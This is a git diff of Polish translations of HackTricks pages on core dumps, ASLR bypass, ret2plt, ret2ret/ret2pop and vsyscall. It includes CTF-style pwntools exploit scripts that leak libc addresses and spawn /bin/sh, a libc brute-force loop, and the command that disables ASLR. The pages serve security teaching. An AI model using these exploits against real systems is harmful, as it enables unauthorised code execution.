* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na githubie.
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
|
|
@ -20,19 +20,19 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
### **Włączanie Generowania Plików Core Dump**
|
||||
|
||||
Domyślnie wiele systemów ogranicza rozmiar plików core do 0 (tj. nie generuje plików core) w celu oszczędzania miejsca na dysku. Aby włączyć generowanie plików core, można użyć polecenia `ulimit` (w bashu lub podobnych powłokach) lub skonfigurować ustawienia systemowe.
|
||||
Domyślnie wiele systemów ogranicza rozmiar plików core do 0 (tj. nie generuje plików core) w celu oszczędzania miejsca na dysku. Aby włączyć generowanie plików core, można użyć polecenia **`ulimit`** (w powłoce bash lub podobnych) lub skonfigurować ustawienia systemowe.
|
||||
|
||||
* **Za pomocą ulimit**: Polecenie `ulimit -c unlimited` pozwala bieżącej sesji powłoki tworzyć pliki core o nieograniczonej wielkości. Jest to przydatne podczas sesji debugowania, ale nie jest trwałe po ponownym uruchomieniu systemu lub nowych sesjach.
|
||||
* **Użycie ulimit**: Polecenie `ulimit -c unlimited` pozwala bieżącej sesji powłoki tworzyć pliki core o nieograniczonej wielkości. Jest to przydatne podczas sesji debugowania, ale nie jest trwałe po ponownym uruchomieniu systemu lub nowych sesjach.
|
||||
```bash
|
||||
ulimit -c unlimited
|
||||
```
|
||||
* **Trwała konfiguracja**: Dla bardziej trwałego rozwiązania, możesz edytować plik `/etc/security/limits.conf`, aby dodać linię taką jak `* soft core unlimited`, co pozwala wszystkim użytkownikom generować pliki core o nieograniczonej wielkości bez konieczności ręcznego ustawiania ulimit w ich sesjach.
|
||||
* **Trwała konfiguracja**: Dla bardziej trwałego rozwiązania, możesz edytować plik `/etc/security/limits.conf`, aby dodać wiersz tak jak `* soft core unlimited`, co pozwala wszystkim użytkownikom generować pliki core o nieograniczonej wielkości bez konieczności ręcznego ustawiania ulimit w ich sesjach.
|
||||
```markdown
|
||||
* soft core unlimited
|
||||
```
|
||||
### **Analiza plików rdzenia za pomocą GDB**
|
||||
|
||||
Aby przeanalizować plik rdzenia, można użyć narzędzi do debugowania, takich jak GDB (GNU Debugger). Zakładając, że masz wykonywalny plik, który wygenerował zrzut rdzenia, a plik rdzenia ma nazwę `core_file`, można rozpocząć analizę za pomocą:
|
||||
Aby przeanalizować plik rdzenia, można użyć narzędzi do debugowania, takich jak GDB (GNU Debugger). Zakładając, że masz plik wykonywalny, który wygenerował zrzut rdzenia, a plik rdzenia ma nazwę `core_file`, można rozpocząć analizę za pomocą:
|
||||
```bash
|
||||
gdb /path/to/executable /path/to/core_file
|
||||
```
|
||||
|
|
|
|||
|
|
@ -20,7 +20,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
### **Sprawdzanie stanu ASLR**
|
||||
|
||||
Aby **sprawdzić** stan ASLR w systemie Linux, można odczytać wartość z pliku `/proc/sys/kernel/randomize_va_space`. Wartość przechowywana w tym pliku określa rodzaj zastosowanej randomizacji ASLR:
|
||||
Aby **sprawdzić** stan ASLR w systemie Linux, można odczytać wartość z pliku **`/proc/sys/kernel/randomize_va_space`**. Wartość przechowywana w tym pliku określa rodzaj zastosowanej randomizacji ASLR:
|
||||
|
||||
* **0**: Brak randomizacji. Wszystko jest statyczne.
|
||||
* **1**: Konserwatywna randomizacja. Biblioteki współdzielone, stos, mmap(), strona VDSO są randomizowane.
|
||||
|
|
@ -32,7 +32,7 @@ cat /proc/sys/kernel/randomize_va_space
|
|||
```
|
||||
### **Wyłączanie ASLR**
|
||||
|
||||
Aby **wyłączyć** ASLR, ustaw wartość `/proc/sys/kernel/randomize_va_space` na **0**. Wyłączenie ASLR zazwyczaj nie jest zalecane poza sytuacjami testowymi lub debugowania. Oto jak możesz to zrobić:
|
||||
Aby **wyłączyć** ASLR, ustaw wartość `/proc/sys/kernel/randomize_va_space` na **0**. Wyłączenie ASLR zazwyczaj nie jest zalecane poza sytuacjami testowymi lub debugowania. Oto jak to zrobić:
|
||||
```bash
|
||||
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
|
|
@ -43,13 +43,13 @@ setarch `uname -m` -R ./bin args
|
|||
```
|
||||
### **Włączanie ASLR**
|
||||
|
||||
Aby **włączyć** ASLR, można zapisać wartość **2** do pliku `/proc/sys/kernel/randomize_va_space`. Zazwyczaj wymaga to uprawnień roota. Pełna losowość może być włączona za pomocą następującej komendy:
|
||||
Aby **włączyć** ASLR, można zapisać wartość **2** do pliku `/proc/sys/kernel/randomize_va_space`. Zazwyczaj wymaga to uprawnień roota. Pełna losowość może być osiągnięta za pomocą następującej komendy:
|
||||
```bash
|
||||
echo 2 | sudo tee /proc/sys/kernel/randomize_va_space
|
||||
```
|
||||
### **Trwałość po ponownym uruchomieniu**
|
||||
|
||||
Zmiany dokonane za pomocą poleceń `echo` są tymczasowe i zostaną zresetowane po ponownym uruchomieniu. Aby sprawić, że zmiana będzie trwała, musisz edytować plik `/etc/sysctl.conf` i dodać lub zmodyfikować następującą linię:
|
||||
Zmiany dokonane za pomocą poleceń `echo` są tymczasowe i zostaną zresetowane po ponownym uruchomieniu. Aby uczynić zmianę trwałą, należy edytować plik `/etc/sysctl.conf` i dodać lub zmodyfikować następującą linijkę:
|
||||
```tsconfig
|
||||
kernel.randomize_va_space=2 # Enable ASLR
|
||||
# or
|
||||
|
|
@ -69,19 +69,19 @@ PaX dzieli przestrzeń adresową procesu na **3 grupy**:
|
|||
|
||||
* **Kod i dane** (zainicjowane i niezainicjowane): `.text`, `.data` i `.bss` —> **16 bitów** entropii w zmiennej `delta_exec`. Ta zmienna jest losowo inicjowana przy każdym procesie i dodawana do adresów początkowych.
|
||||
* **Pamięć** przydzielana przez `mmap()` i **biblioteki współdzielone** —> **16 bitów**, nazwana `delta_mmap`.
|
||||
* **Stos** —> **24 bity**, oznaczane jako `delta_stack`. Jednakże, faktycznie używa **11 bitów** (od 10. do 20. bajtu włącznie), wyrównanych do **16 bajtów** —> To daje **524,288 możliwych rzeczywistych adresów stosu**.
|
||||
* **Stos** —> **24 bity**, oznaczane jako `delta_stack`. Jednakże, efektywnie używa **11 bitów** (od 10. do 20. bajtu włącznie), wyrównanych do **16 bajtów** —> To daje **524,288 możliwych rzeczywistych adresów stosu**.
|
||||
|
||||
Powyższe dane dotyczą systemów 32-bitowych, a zmniejszona końcowa entropia umożliwia obejście ASLR poprzez wielokrotne ponowne uruchamianie wykonania, aż atak się powiedzie.
|
||||
Powyzsze dane dotyczą systemów 32-bitowych, a zmniejszona końcowa entropia pozwala na obejście ASLR poprzez wielokrotne próby wykonania, aż atak się powiedzie.
|
||||
|
||||
#### Pomysły na brutalne narzucanie:
|
||||
|
||||
* Jeśli masz wystarczająco dużo miejsca na przepełnienie, aby pomieścić **duży ślizg NOP przed kodem powłoki**, możesz po prostu brutalnie narzucać adresy na stosie, aż przepływ **przeskoczy część ślizgu NOP**.
|
||||
* Jeśli masz wystarczająco dużo miejsca na przepełnienie, aby pomieścić **duży ślizg NOP przed kodem powłoki**, możesz po prostu brutalnie narzucić adresy na stosie, aż przepływ **przeskoczy część ślizgu NOP**.
|
||||
* Inną opcją w przypadku, gdy przepełnienie nie jest tak duże, a atak może być uruchomiony lokalnie, jest możliwość **dodania ślizgu NOP i kodu powłoki do zmiennej środowiskowej**.
|
||||
* Jeśli atak jest lokalny, możesz spróbować brutalnie narzucić bazowy adres libc (przydatne dla systemów 32-bitowych):
|
||||
```python
|
||||
for off in range(0xb7000000, 0xb8000000, 0x1000):
|
||||
```
|
||||
* Jeśli atakujesz zdalny serwer, możesz spróbować **przemuszać adres funkcji `usleep` z biblioteki `libc`**, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie **serwer potrzebuje dodatkowych 10 sekund na odpowiedź**, znalazłeś adres tej funkcji.
|
||||
* Jeśli atakujesz zdalny serwer, możesz spróbować **przemocować adres funkcji `libc` `usleep`**, przekazując jako argument 10 (na przykład). Jeśli w pewnym momencie **serwer potrzebuje dodatkowych 10 sekund na odpowiedź**, znalazłeś adres tej funkcji.
|
||||
|
||||
{% hint style="success" %}
|
||||
W systemach 64-bitowych entropia jest znacznie wyższa i to nie jest możliwe.
|
||||
|
|
@ -89,7 +89,7 @@ W systemach 64-bitowych entropia jest znacznie wyższa i to nie jest możliwe.
|
|||
|
||||
### Lokalne informacje (`/proc/[pid]/stat`)
|
||||
|
||||
Plik **`/proc/[pid]/stat`** procesu jest zawsze czytelny dla wszystkich i **zawiera interesujące** informacje takie jak:
|
||||
Plik **`/proc/[pid]/stat`** procesu jest zawsze czytelny dla wszystkich i **zawiera interesujące** informacje, takie jak:
|
||||
|
||||
* **startcode** & **endcode**: Adresy powyżej i poniżej z **TEKSTU** binarnego
|
||||
* **startstack**: Adres początku **stosu**
|
||||
|
|
@ -98,7 +98,7 @@ Plik **`/proc/[pid]/stat`** procesu jest zawsze czytelny dla wszystkich i **zawi
|
|||
* **arg\_start** & **arg\_end**: Adresy powyżej i poniżej, gdzie znajdują się **argumenty wiersza poleceń**
|
||||
* **env\_start** & **env\_end**: Adresy powyżej i poniżej, gdzie znajdują się **zmienne środowiskowe**
|
||||
|
||||
Dlatego jeśli atakujący znajduje się w tym samym komputerze co eksploatowany binarny plik i ten binarny plik nie oczekuje przepełnienia z surowych argumentów, ale z innego **wejścia, które można stworzyć po odczytaniu tego pliku**. Dla atakującego jest możliwe **uzyskanie pewnych adresów z tego pliku i skonstruowanie przesunięć z nich dla eksploatacji**.
|
||||
Dlatego jeśli atakujący znajduje się w tym samym komputerze co eksploatowany binarny plik i ten binarny plik nie oczekuje przepełnienia z surowych argumentów, ale z innego **wejścia, które można stworzyć po odczytaniu tego pliku**. Dla atakującego jest możliwe **uzyskanie niektórych adresów z tego pliku i skonstruowanie przesunięć z nich dla eksploatacji**.
|
||||
|
||||
{% hint style="success" %}
|
||||
Aby uzyskać więcej informacji na temat tego pliku, sprawdź [https://man7.org/linux/man-pages/man5/proc.5.html](https://man7.org/linux/man-pages/man5/proc.5.html) szukając `/proc/pid/stat`
|
||||
|
|
@ -108,7 +108,7 @@ Aby uzyskać więcej informacji na temat tego pliku, sprawdź [https://man7.org/
|
|||
|
||||
* **Wyzwaniem jest dostarczenie wycieku**
|
||||
|
||||
Jeśli otrzymasz wyciek (łatwe wyzwania CTF), możesz obliczyć przesunięcia z niego (przyjmując na przykład, że znasz dokładną wersję biblioteki libc używaną w systemie, który eksploatujesz). Ten przykładowy exploit jest wyodrębniony z [**przykładu stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (sprawdź tę stronę dla więcej szczegółów):
|
||||
Jeśli otrzymasz wyciek (łatwe wyzwania CTF), możesz obliczyć przesunięcia z niego (przyjmując na przykład, że znasz dokładną wersję `libc`, która jest używana w systemie, który eksploatujesz). Ten przykładowy exploit jest wyodrębniony z [**przykładu stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/aslr-bypass-with-given-leak) (sprawdź tę stronę po więcej szczegółów):
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
|
@ -135,7 +135,7 @@ p.interactive()
|
|||
```
|
||||
* **ret2plt**
|
||||
|
||||
Wykorzystując przepełnienie bufora możliwe jest wykorzystanie **ret2plt** do wycieku adresu funkcji z biblioteki libc. Sprawdź:
|
||||
Wykorzystując przepełnienie bufora, można wykorzystać **ret2plt** do wycieku adresu funkcji z biblioteki libc. Sprawdź:
|
||||
|
||||
{% content-ref url="ret2plt.md" %}
|
||||
[ret2plt.md](ret2plt.md)
|
||||
|
|
@ -143,7 +143,7 @@ Wykorzystując przepełnienie bufora możliwe jest wykorzystanie **ret2plt** do
|
|||
|
||||
* **Format Strings Arbitrary Read**
|
||||
|
||||
Podobnie jak w przypadku ret2plt, jeśli masz arbitralne odczytywanie za pomocą podatności na ciągi formatujące, możliwe jest wyciekanie adresu funkcji z **biblioteki libc** z GOT. Następujący [**przykład pochodzi stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
|
||||
Podobnie jak w przypadku ret2plt, jeśli masz arbitralne odczytywanie za pomocą podatności na ciągi formatujące, możliwe jest wyciekanie adresu funkcji z **biblioteki libc** z GOT. Poniższy [**przykład pochodzi stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got):
|
||||
```python
|
||||
payload = p32(elf.got['puts']) # p64() if 64-bit
|
||||
payload += b'|'
|
||||
|
|
@ -170,12 +170,12 @@ Spróbuj ominąć ASLR nadużywając adresów znajdujących się na stosie:
|
|||
|
||||
### vsyscall
|
||||
|
||||
Mechanizm **`vsyscall`** służy do poprawy wydajności, pozwalając na wykonanie określonych wywołań systemowych w przestrzeni użytkownika, chociaż są one zasadniczo częścią jądra. Krytyczną zaletą **vsyscalls** jest ich **stały adres**, który nie podlega **ASLR** (losowaniu układu przestrzeni adresowej). Ta stała natura oznacza, że atakujący nie potrzebują podatności na wyciek informacji, aby określić ich adresy i użyć ich w ataku.\
|
||||
Jednakże tutaj nie znajdziesz super interesujących gadżetów (choć na przykład możliwe jest uzyskanie odpowiednika `ret;`)
|
||||
Mechanizm **`vsyscall`** służy do poprawy wydajności, pozwalając na wykonanie określonych wywołań systemowych w przestrzeni użytkownika, chociaż są one zasadniczo częścią jądra. Krytyczną zaletą **vsyscalls** jest ich **stały adres**, który nie podlega **ASLR** (losowaniu układu przestrzeni adresowej). Ta stała natura oznacza, że atakujący nie potrzebują podatności na wyciek informacji, aby określić ich adresy i wykorzystać je w ataku.\
|
||||
Jednakże nie znajdziesz tu super interesujących gadżetów (choć na przykład możliwe jest uzyskanie odpowiednika `ret;`)
|
||||
|
||||
(Poniższy przykład i kod pochodzi [**z tego opisu**](https://guyinatuxedo.github.io/15-partial\_overwrite/hacklu15\_stackstuff/index.html#exploitation))
|
||||
|
||||
Na przykład atakujący może użyć adresu `0xffffffffff600800` w ataku. Podczas próby skoku bezpośrednio do instrukcji `ret` może prowadzić do niestabilności lub awarii po wykonaniu kilku gadżetów, skok na początek `syscall` dostarczonego przez sekcję **vsyscall** może okazać się skuteczny. Starannie umieszczając gadżet **ROP**, który prowadzi wykonanie do tego adresu **vsyscall**, atakujący może osiągnąć wykonanie kodu bez konieczności omijania **ASLR** dla tej części ataku.
|
||||
Na przykład, atakujący może użyć adresu `0xffffffffff600800` w ataku. Podczas próby skoku bezpośrednio do instrukcji `ret` może prowadzić do niestabilności lub awarii po wykonaniu kilku gadżetów, skok na początek `syscall` dostarczonego przez sekcję **vsyscall** może okazać się skuteczny. Starannie umieszczając gadżet **ROP**, który prowadzi wykonanie do tego adresu **vsyscall**, atakujący może osiągnąć wykonanie kodu bez konieczności omijania **ASLR** dla tej części ataku.
|
||||
```
|
||||
ef➤ vmmap
|
||||
Start End Offset Perm Path
|
||||
|
|
|
|||
|
|
@ -16,7 +16,7 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
## Podstawowe informacje
|
||||
|
||||
Celem tej techniki jest **wyciek adresu funkcji z PLT**, aby móc ominąć ASLR. Dzieje się tak dlatego, że jeśli na przykład wyciekniesz adres funkcji `puts` z biblioteki libc, możesz **obliczyć bazę `libc`** i obliczyć przesunięcia, aby uzyskać dostęp do innych funkcji, takich jak **`system`**.
|
||||
Celem tej techniki byłoby **wyciek adresu funkcji z PLT**, aby móc ominąć ASLR. Dzieje się tak dlatego, że jeśli na przykład wycieka adres funkcji `puts` z biblioteki libc, można wtedy **obliczyć, gdzie znajduje się baza `libc`** i obliczyć przesunięcia, aby uzyskać dostęp do innych funkcji, takich jak **`system`**.
|
||||
|
||||
Można to zrobić za pomocą ładunku `pwntools`, na przykład ([**stąd**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt\_and\_got)):
|
||||
```python
|
||||
|
|
@ -37,15 +37,15 @@ elf.plt['puts'],
|
|||
elf.symbols['main']
|
||||
)
|
||||
```
|
||||
Zauważ, jak **`puts`** (korzystając z adresu z PLT) jest wywoływany z adresem `puts` znajdującym się w `GOT`. Dzieje się tak dlatego, że w momencie, gdy `puts` drukuje wpis `GOT` puts, ten **wpis będzie zawierał adres `puts` w pamięci**.
|
||||
Zauważ, jak **`puts`** (korzystając z adresu z PLT) jest wywoływane z adresem `puts` znajdującym się w GOT (Global Offset Table). Dzieje się tak dlatego, że w momencie, gdy `puts` drukuje wpis GOT `puts`, ten **wpis będzie zawierał dokładny adres `puts` w pamięci**.
|
||||
|
||||
Zauważ również, jak adres `main` jest używany w eksploacie, więc gdy `puts` zakończy swoje wykonanie, **binarny ponownie wywołuje `main` zamiast zakończyć** (dzięki czemu wyciekły adres będzie nadal ważny).
|
||||
Zauważ również, jak adres `main` jest używany w eksploacie, dzięki czemu po zakończeniu wykonania `puts`, **binarny ponownie wywołuje `main` zamiast zakończyć działanie** (dzięki czemu wyciekły adres będzie nadal ważny).
|
||||
|
||||
{% hint style="danger" %}
|
||||
Zauważ, że aby to działało, **binarny nie może być skompilowany z PIE** lub musisz **znaleźć wyciek, aby ominąć PIE** i poznać adresy `PLT`, `GOT` i `main`.
|
||||
Zauważ, że aby to działało, **binarny nie może być skompilowany z opcją PIE** lub musisz **znaleźć wyciek, aby ominąć PIE** i poznać adresy PLT, GOT i main. W przeciwnym razie najpierw musisz ominąć PIE.
|
||||
{% endhint %}
|
||||
|
||||
Możesz znaleźć [**pełny przykład tego bypassu tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). To był ostateczny exploit z tego przykładu:
|
||||
Możesz znaleźć [**pełny przykład tego bypassu tutaj**](https://ir0nstone.gitbook.io/notes/types/stack/aslr/ret2plt-aslr-bypass). To był ostateczny exploit z tego **przykładu**:
|
||||
```python
|
||||
from pwn import *
|
||||
|
||||
|
|
@ -84,9 +84,9 @@ p.interactive()
|
|||
## Inne przykłady i odnośniki
|
||||
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/csawquals17\_svc/index.html)
|
||||
* 64 bity, włączone ASLR, ale brak PIE, pierwszym krokiem jest przepełnienie aż do bajtu 0x00 canary, a następnie wywołanie puts, aby go wyciec. Z canary tworzony jest gadget ROP do wywołania puts w celu wycieku adresu puts z GOT, a następnie gadget ROP do wywołania `system('/bin/sh')`.
|
||||
* 64 bity, włączony ASLR, ale brak PIE, pierwszym krokiem jest przepełnienie aż do bajtu 0x00 canary, a następnie wywołanie puts, aby go wyciec. Z canary tworzony jest gadget ROP do wywołania puts w celu wycieku adresu puts z GOT, a następnie gadget ROP do wywołania `system('/bin/sh')`.
|
||||
* [https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html](https://guyinatuxedo.github.io/08-bof\_dynamic/fb19\_overfloat/index.html)
|
||||
* 64 bity, włączone ASLR, brak canary, przepełnienie stosu w funkcji głównej z funkcji potomnej. Gadget ROP do wywołania puts w celu wycieku adresu puts z GOT, a następnie wywołanie jednego gadgeta.
|
||||
* 64 bity, włączony ASLR, brak canary, przepełnienie stosu w funkcji głównej z funkcji potomnej. Gadget ROP do wywołania puts w celu wycieku adresu puts z GOT, a następnie wywołanie jednego gadgeta.
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
|||
|
|
@ -2,7 +2,7 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
|
|
@ -10,13 +10,13 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
## Ret2ret
|
||||
|
||||
Głównym celem tej techniki jest próba **obejścia ASLR poprzez nadużycie istniejącego wskaźnika na stosie**.
|
||||
Głównym **celem** tej techniki jest próba **obejścia ASLR poprzez nadużycie istniejącego wskaźnika na stosie**.
|
||||
|
||||
W skrócie, przepełnienia stosu zazwyczaj są spowodowane ciągami znaków, a **ciągi kończą się bajtem null na końcu** w pamięci. Pozwala to na próbę zmniejszenia miejsca wskazywanego przez istniejący już wskaźnik na stosie. Jeśli stos zawierał `0xbfffffdd`, to przepełnienie mogłoby przekształcić go w `0xbfffff00` (zauważ ostatni zerowy bajt).
|
||||
|
||||
|
|
@ -29,14 +29,14 @@ Atak wyglądałby więc następująco:
|
|||
* Nadpisanie stosu z EIP za pomocą **adresów do `ret`** (RET sled)
|
||||
* 0x00 dodane przez ciąg znaków modyfikujące adres ze stosu, powodując, że wskazuje on na NOP sled
|
||||
|
||||
Klikając [**ten link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c), możesz zobaczyć przykład podatnego pliku binarnego, a [**w tym**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) exploit.
|
||||
Klikając [**ten link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2ret.c), możesz zobaczyć przykład podatnego binarnego pliku, a [**w tym**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2retexploit.c) exploit.
|
||||
|
||||
## Ret2pop
|
||||
|
||||
W przypadku znalezienia **doskonałego wskaźnika na stosie, którego nie chcesz modyfikować** (w `ret2ret` zmienialiśmy ostatni najniższy bajt na `0x00`), można przeprowadzić ten sam atak `ret2ret`, ale **długość RET sled musi być skrócona o 1** (aby finalne `0x00` nadpisało dane tuż przed doskonałym wskaźnikiem), a **ostatni** adres RET sled musi wskazywać na **`pop <reg>; ret`**.\
|
||||
W ten sposób **dane przed doskonałym wskaźnikiem zostaną usunięte** ze stosu (są to dane dotknięte przez `0x00`) i **ostatni `ret` wskaże na doskonały adres** na stosie bez żadnych zmian.
|
||||
W przypadku znalezienia **idealnego wskaźnika na stosie, którego nie chcesz modyfikować** (w `ret2ret` zmienialiśmy ostatni najniższy bajt na `0x00`), można przeprowadzić ten sam atak `ret2ret`, ale **długość RET sled musi być skrócona o 1** (aby finalne `0x00` nadpisało dane tuż przed idealnym wskaźnikiem), a **ostatni** adres RET sled musi wskazywać na **`pop <reg>; ret`**.\
|
||||
W ten sposób **dane przed idealnym wskaźnikiem zostaną usunięte** ze stosu (są to dane dotknięte przez `0x00`) i **ostateczne `ret` wskazuje na idealny adres** na stosie bez żadnych zmian.
|
||||
|
||||
Klikając [**ten link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c), możesz zobaczyć przykład podatnego pliku binarnego, a [**w tym**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) exploit.
|
||||
Klikając [**ten link**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2pop.c), możesz zobaczyć przykład podatnego binarnego pliku, a [**w tym**](https://github.com/florianhofhammer/stack-buffer-overflow-internship/blob/master/ASLR%20Smack%20and%20Laugh%20reference%20-%20Tilo%20Mueller/ret2popexploit.c) exploit.
|
||||
|
||||
## Referencje
|
||||
|
||||
|
|
@ -44,7 +44,7 @@ Klikając [**ten link**](https://github.com/florianhofhammer/stack-buffer-overfl
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Nauka hakowania AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
|
|
@ -52,6 +52,6 @@ Inne sposoby wsparcia HackTricks:
|
|||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Podziel się swoimi sztuczkami hakowania, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
|
||||
</details>
|
||||
|
|
|
|||
|
|
@ -2,34 +2,48 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Zacznij od zera i stań się ekspertem od hakowania AWS dzięki</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na GitHubie.
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) albo **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) na GitHubie.
|
||||
|
||||
</details>
|
||||
|
||||
## Technologia Wzmocnienia Przepływu Kontroli (CET)
|
||||
|
||||
